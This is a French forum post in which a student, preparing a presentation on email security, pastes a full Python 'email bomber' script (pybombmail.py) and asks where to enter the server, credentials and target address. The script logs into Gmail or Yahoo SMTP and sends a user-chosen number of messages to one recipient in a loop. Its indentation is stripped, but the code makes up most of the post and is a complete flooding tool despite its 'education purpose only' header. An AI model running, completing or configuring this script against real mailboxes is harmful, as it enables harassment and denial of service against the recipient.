Bonjour,
J'ai un exposer à réaliser qui traite de la sécurité, la vulnérabilité des boites mails. J'aurai aimé réaliser une démonstration via un script exécutable Python mais je ne comprend pas bien le script en question. J 'en ai trouvé plusieurs sur le net.
Pouvez vous me dire les endroit ou je doit mettre les adresses mails, mot de passe, le smtp...
voici celui que je trouve le plus compacte:
#!/usr/bin/python
#pybombmail.py by aBi71
#This code for education purpose only.
#Use it at your own risk !!!
import os
import smtplib
import getpass
import sys
server = raw_input ('Server Mail: ')
user = raw_input('Username: ')
passwd = getpass.getpass('Password: ')
to = raw_input('\nTo: ')
#subject = raw_input('Subject: ')
body = raw_input('Message: ')
total = input('Number of send: ')
if server == 'gmail':
smtp_server = 'smtp.gmail.com'
port = 587
elif server == 'yahoo':
smtp_server = 'smtp.mail.yahoo.com'
port = 25
else:
print 'Applies only to gmail and yahoo.'
sys.exit()
print ''
try:
server = smtplib.SMTP(smtp_server,port)
server.ehlo()
if smtp_server == "smtp.gmail.com":
server.starttls()
server.login(user,passwd)
for i in range(1, total+1):
subject = os.urandom(9)
msg = 'From: ' + user + '\nSubject: ' + subject + '\n' + body
server.sendmail(user,to,msg)
print "\rTotal emails sent: %i" % i
sys.stdout.flush()
server.quit()
print '\n Done !!!'
except KeyboardInterrupt:
print '[-] Canceled'
sys.exit()
except smtplib.SMTPAuthenticationError:
print '\n[!] The username or password you entered is incorrect.'
sys.exit()